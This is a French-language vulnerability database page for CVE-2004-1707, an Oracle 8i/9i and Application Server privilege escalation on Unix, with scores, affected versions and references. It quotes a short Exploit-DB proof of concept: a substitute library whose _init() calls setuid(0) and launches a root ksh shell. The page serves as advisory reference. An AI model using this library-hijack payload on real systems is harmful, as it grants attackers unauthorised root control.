CVE-2004-1707 : Détail

CVE-2004-1707

6.45%V3
Local
2005-02-26
04h00 +00:00
2017-07-10
12h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The (1) dbsnmp and (2) nmo programs in Oracle 8i, Oracle 9i, and Oracle IAS 9.0.2.0.1, on Unix systems, use a default path to find and execute library files while operating at raised privileges, which allows certain Oracle user accounts to gain root privileges via a modified libclntsh.so.9.0.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 24335

Date de publication : 2004-07-29 22h00 +00:00
Auteur : Juan Manuel Pascual Escribá
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/10829/info Oracle database implementations are reportedly prone to a default library directory privilege escalation vulnerability. This issue arises due to a default configuration error that will permit the attacker to replace libraries required by setuid root applications with arbitrary code. This issue would allow an Oracle software owner to execute code as the superuser, taking control of the entire system. It should be noted that this vulnerability only affects Oracle on UNIX/Linux platforms. #include #include _init() { printf("en el _init()\n"); printf("Con PID=%i y EUID=%i",getpid(),getuid()); setuid(0); system("/usr/bin/ksh"); printf("Saliendo del Init()\n"); }

Products Mentioned

Configuraton 0

Oracle>>Application_server >> Version *

Oracle>>Application_server >> Version 1.0.2

Oracle>>Application_server >> Version 1.0.2.1s

Oracle>>Application_server >> Version 1.0.2.2

Oracle>>Application_server >> Version 1.0.2.2.2

Oracle>>Application_server >> Version 9.0.2

Oracle>>Application_server >> Version 9.0.2.0.0

Oracle>>Application_server >> Version 9.0.2.0.1

Oracle>>Application_server >> Version 9.0.2.1

Oracle>>Application_server >> Version 9.0.2.2

Oracle>>Application_server >> Version 9.0.2.3

Oracle>>Application_server >> Version 9.0.3

Oracle>>Application_server >> Version 9.0.3.1

Oracle>>Application_server_portal >> Version 3.0.9.8.5

Oracle>>Application_server_portal >> Version 9.0.2.3

Oracle>>Application_server_portal >> Version 9.0.2.3a

Oracle>>Application_server_portal >> Version 9.0.2.3b

Oracle>>Database_server_lite >> Version 5.0

Oracle>>Database_server_lite >> Version 5.0.1

Oracle>>Database_server_lite >> Version 5.0.2

Oracle>>Oracle8i >> Version enterprise_8.0.5_.0.0

    Oracle>>Oracle8i >> Version enterprise_8.0.6_.0.0

      Oracle>>Oracle8i >> Version enterprise_8.0.6_.0.1

        Oracle>>Oracle8i >> Version enterprise_8.1.5_.0.0

          Oracle>>Oracle8i >> Version enterprise_8.1.5_.0.2

            Oracle>>Oracle8i >> Version enterprise_8.1.5_.1.0

              Oracle>>Oracle8i >> Version enterprise_8.1.6_.0.0

                Oracle>>Oracle8i >> Version enterprise_8.1.6_.1.0

                  Oracle>>Oracle8i >> Version enterprise_8.1.7_.0.0

                    Oracle>>Oracle8i >> Version enterprise_8.1.7_.1.0

                      Oracle>>Oracle8i >> Version standard_8.0.6

                        Oracle>>Oracle8i >> Version standard_8.0.6_.3

                          Oracle>>Oracle8i >> Version standard_8.1.5

                            Oracle>>Oracle8i >> Version standard_8.1.6

                              Oracle>>Oracle8i >> Version standard_8.1.7

                                Oracle>>Oracle8i >> Version standard_8.1.7_.0.0

                                  Oracle>>Oracle8i >> Version standard_8.1.7_.1

                                    Oracle>>Oracle8i >> Version standard_8.1.7_.4

                                      Oracle>>Oracle9i >> Version client_9.2.0.1

                                        Oracle>>Oracle9i >> Version client_9.2.0.2

                                          Oracle>>Oracle9i >> Version enterprise_9.0.1

                                            Oracle>>Oracle9i >> Version enterprise_9.0.1.4

                                              Oracle>>Oracle9i >> Version enterprise_9.0.1.5

                                                Oracle>>Oracle9i >> Version enterprise_9.2.0

                                                  Oracle>>Oracle9i >> Version enterprise_9.2.0.1

                                                    Oracle>>Oracle9i >> Version enterprise_9.2.0.2

                                                      Oracle>>Oracle9i >> Version enterprise_9.2.0.3

                                                        Oracle>>Oracle9i >> Version enterprise_9.2.0.4

                                                          Oracle>>Oracle9i >> Version personal_8.1.7

                                                            Oracle>>Oracle9i >> Version personal_9.0.1

                                                              Oracle>>Oracle9i >> Version personal_9.0.1.4

                                                                Oracle>>Oracle9i >> Version personal_9.0.1.5

                                                                  Oracle>>Oracle9i >> Version personal_9.2

                                                                    Oracle>>Oracle9i >> Version personal_9.2.0.1

                                                                      Oracle>>Oracle9i >> Version personal_9.2.0.2

                                                                        Oracle>>Oracle9i >> Version personal_9.2.0.3

                                                                          Oracle>>Oracle9i >> Version personal_9.2.0.4

                                                                            Oracle>>Oracle9i >> Version standard_9.0

                                                                              Oracle>>Oracle9i >> Version standard_9.0.1

                                                                                Oracle>>Oracle9i >> Version standard_9.0.1.2

                                                                                  Oracle>>Oracle9i >> Version standard_9.0.1.3

                                                                                    Oracle>>Oracle9i >> Version standard_9.0.1.4

                                                                                      Oracle>>Oracle9i >> Version standard_9.0.1.5

                                                                                        Oracle>>Oracle9i >> Version standard_9.0.2

                                                                                          Oracle>>Oracle9i >> Version standard_9.2

                                                                                            Oracle>>Oracle9i >> Version standard_9.2.0.1

                                                                                              Oracle>>Oracle9i >> Version standard_9.2.0.2

                                                                                                Oracle>>Oracle9i >> Version standard_9.2.0.3

                                                                                                  Oracle>>Oracle9i >> Version standard_9.2.0.4

                                                                                                    Oracle>>Oracle9i >> Version standard_9.2.3

                                                                                                      Références

                                                                                                      http://secunia.com/advisories/12205
                                                                                                      Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                      http://marc.info/?l=bugtraq&m=109147677214087&w=2
                                                                                                      Tags : mailing-list, x_refsource_BUGTRAQ
                                                                                                      http://www.securityfocus.com/bid/10829
                                                                                                      Tags : vdb-entry, x_refsource_BID